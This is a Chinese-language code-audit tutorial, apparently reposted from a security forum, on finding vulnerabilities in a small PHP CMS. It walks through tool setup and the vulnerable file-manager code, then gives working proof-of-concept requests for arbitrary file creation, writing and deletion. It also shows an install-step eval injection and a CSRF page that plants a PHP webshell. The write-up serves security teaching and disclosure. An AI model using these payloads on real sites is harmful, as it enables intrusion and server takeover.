0x01 前言
大概是在上半年提交了某个CMS的命令执行漏洞,现在过了那么久,也想通过这次挖掘通用型漏洞,整理一下挖掘思路,分享给大家。
0x02 挖掘前期
一、CMS选择
如果你是第一次挖白盒漏洞,那么建议你像我一样,先找一些简单的来挖掘。
具体源码下载地址可以参考:
https://github.com/search?q=cms
https://search.gitee.com/?skin=rec&type=repository&q=cms
https://down.chinaz.com/
https://www.a5xiazai.com/
......
百度找找,肯定不止这些
那么应该怎么选择呢(这里我是站在第一次挖掘,或者仅使用过扫描工具扫描的师傅的角度这样说的,如果做过开发,代码功底很强等情况,emm...当我没说。):
1、找最新版的版本较低的,例如1.1、1.2
2、找github star不多的
3、找源码总容量小的
4、尽量不要找使用tp、yii、laravel等框架型CMS
这里说一下理由:
1、如果cms版本高,说明开发有经常维护,同时也说明里面的简单漏洞已经被发现并且被提交并整改了。(具体这个可以看看CMS官网放出的更新日志)
2、为什么找github star不多的cms?很简单,使用的人不多,没人标星,功能也比较少。
3、源码少容易看啊,而且想着源代码就那么点,看着也不会太心累。
4、这是我个人的理解哈,因为就像很多人说的,第一个审的可以看看bluecms。为什么?因为简单啊,tp框架首先各种C方法,I方法的,就够头疼了。
扯了那么多,总结一句话:
跟挖SRC一样,如果你一开始就瞄着阿里SRC、百度SRC等来挖掘,一直挖不到洞,是不是心态崩了呢;如果你一开始借助nday的poc,结合fofa搜集资产,一下子就能挖到简单、小型企业的漏洞,虽然可能漏洞奖金不多、但是满满的成就感有没有~
代码审计也是一样的,一开始就找框架型的,MVC架构的CMS,不仅可能看不懂代码,还可能连路由都弄不懂呢。所以一开始还是找些简单的练练手比较好~
二、环境准备
1、PHPstudy
PHP、中间件、数据库,一个软件搞定,反正我是觉得用着很香。
2、代码扫描工具
目前的话我用的比较多的是seay和fortify。这里其实都一样,不是所有漏洞都是要通读代码来发现的,有的时候借助工具可以快很多。
3、BurpSuite
渗透测试神器级别的工具,这里不多介绍了,毕竟挖漏洞不抓包怎么行呢。
4、漏洞扫描工具
虽然我们拿到了源码,但是挖漏洞也不一定要从代码上进行呀,可以结合黑盒的方式,黑白盒一起,更容易挖到漏洞,也就是业内说的灰盒测试。
扫描工具这里推荐Xray+burp联动进行。随便抓几个包,有没有漏洞一目了然,让我们可以在测试漏洞的时候,还同时进行扫描。
5、编辑器
编辑器的作用是方便查看代码,在有需要的时候才用,这里可以算是我水字数吧,我个人比较喜欢nopad++,当然别的也是可以的,phpstorm最好,可以快捷进行函数跳转。
工具下载地址:
https://www.xp.cn/
https://github.com/f1tz/cnseay
https://github.com/chaitin/xray/releases
三、搭建环境
1、首先下载源码,解压并放到phpstudy安装目录下的WWW文件夹中
2、安装方法一般是请求http://127.0.0.1/install/就可以了,按照提示输入信息。
3、提示安装成功即可
0x03 挖掘中期
一、代码扫描
二、黑白盒配合发现漏洞
这个其实是很有搞头的,这里没有详细说是因为当时确实重心在白盒上,实际上我感觉这个发现漏洞再去找对应的代码,会更加有趣些。
1、浏览器设置代理,指向burp:127.0.0.1:8080
./xray_darwin_amd64 webscan --listen 127.0.0.1:7777 --html-output test.html
三、分析扫描结果
1)发现一个file_get_contents,可控变量为$path
$path = realpath($_GET['path']);
if (!$path) {
if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) {
PkPopup('{content:"不存在的路径,请求路径:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
}
ExitJson('不存在的路径,请求路径:' . $_GET['path']);
}
$_G['TEMP']['PATH'] = iconv('GBK', 'UTF-8//IGNORE', $path);
if (strpos($path, $spath) !== 0) {
if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) {
PkPopup('{content:"越权操作,请求路径:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
}
ExitJson('越权操作,请求路径:' . $_GET['path']);
}
switch ($type) {
case 'edit' :
if (filetype($path) != 'file') {
if ($_G['GET']['JSON']) {
ExitJson('不存在的文件');
}
PkPopup('{content:"不存在的文件",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
}
$suffix = substr($path, strrpos($path, '.') + 1);
if (!InArray($suffixs, $suffix)) {
if ($_G['GET']['JSON']) {
ExitJson('不支持的文件格式');
}
PkPopup('{content:"不支持的文件格式",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
}
$filecontent1 = file_get_contents($path);
$filecontent = htmlspecialchars($filecontent1, ENT_QUOTES);
if ($filecontent1 && !$filecontent) {
if ($_G['GET']['JSON']) {
ExitJson('不支持该文件编码,仅支持UTF-8');
}
PkPopup('{content:"不支持该文件编码,仅支持UTF-8",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
}
if ($_G['GET']['JSON']) {
ExitJson($filecontent1, TRUE);
}
$path = str_replace('\', '/', $path);
$paths = explode('/', $path);
$path = '';
for ($i = 0; $i < count($paths); $i++) {
if ($i == count($paths) - 1) {
$filename = $paths[$i];
} else {
$path .= $paths[$i] . '/';
}
}
ExitGourl('index.php?c=app&a=filesmanager:index&path=' . urlencode(realpath($path)) . '&editbtn=' . md5($filename));
break;
case 'del' :
$r = unlink($path);
ExitJson('操作完成', $r);
break;
case 'mkfile' :
$mkname = $_GET['mkname'];
if (!$mkname) {
ExitJson('请输入目录或文件的名称');
}
if ($type == 'mkdir') {
if (file_exists($path . "/{$mkname}")) {
ExitJson('目录已存在');
}
$r = mkdir($path . "/{$mkname}");
} else {
if (file_exists($path . "/{$mkname}")) {
ExitJson('文件已存在');
}
$r = file_put_contents($path . "/{$mkname}", '');
}
ExitJson('操作完成', $r === FALSE ? FALSE : TRUE);
break;
}
/app/filesmanager/index.php
/index.php?c=app&a=puyuetianeditor:index&s=myfiles&page=1
/app/puyuetianeditor/phpscript/myfiles.php
4)漏洞路径/app/filesmanager/index.php即可以对应URL
/?c=app&a=filesmanager:index
四、验证漏洞
任意创建文件
http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=mkfile&mkname=123.php
任意文件写入
http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=save&path=123.php
POST:
filecontent= phpinfo();
任意文件删除
http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=del&path=123.php
五、组合漏洞扩大成果
1、任意文件删除配合系统重装(失败)
以前就有看到过这样的漏洞,因为系统重装的时候,会将用户输入的配置信息写入到php文件中,那么如果可以输入代码,便可以成功执行了,这里尝试一下。
1)首先查看index.php文件
只要install.locked文件存在即表示网站已安装
3)通过任意文件删除,将此文件进行删除:
http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=del&path=C://phpStudy/WWW/install/install.locked
POST /install/index.php?step=3 HTTP/1.1
Host: 192.168.150.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 302
Origin: http://192.168.150.9
Connection: close
Referer: http://192.168.150.9/install/index.php?step=2
Cookie: PHPSESSID=b9imt0v97o8hsml01jr0tro9n3; UIA=KXoyLywxNlo2YDQtLl8tX2BlMjAqLzUqX103Y1xlZWBcMzFeXi4xXjQsYDBeMC8tZDEsXjIxMCoxLjIvXmQ1Y14w; app_puyuetianeditor_editcontent=%3Cbr%3E
_webos=*&mysql_type=mysql&mysql_location=127.0.0.1&mysql_username=root&mysql_password=root&mysql_database='eval($_REQUEST[1])&mysql_prefix=pk_&mysql_charset=set+names+utf8&adminusername=phpinfo();&adminpassword=phpinfo();&adminemail=admin%40qq.com&hs_username=&hs_password=&hs_domain=192.168.150.9
2、任意文件写入配合CSRF(成功)
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form id='test1' action="http://192.168.150.9/index.php">
<input type="hidden" name="c" value="app" />
<input type="hidden" name="a" value="filesmanager:index" />
<input type="hidden" name="type" value="mkfile" />
<input type="hidden" name="mkname" value="123.php" />
<input type="submit" value="Submit request" />
</form>
<form id='test2' action="http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=save&path=123.php" method="POST">
<input type="hidden" name="filecontent" value="<?php eval($_REQUEST[1]);?>" />
<input type="submit" value="Submit request" />
</form>
<script>
function test1() {
document.getElementById("test1").submit();
}
function test2() {
document.getElementById("test2").submit();
}
setTimeout(test1,100)
setTimeout(test2,200)
</script>
</body>
</html>
0x04 挖掘后期&总结
文章来源:先知社区(ajie)
原文地址:https://xz.aliyun.com/t/10539
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论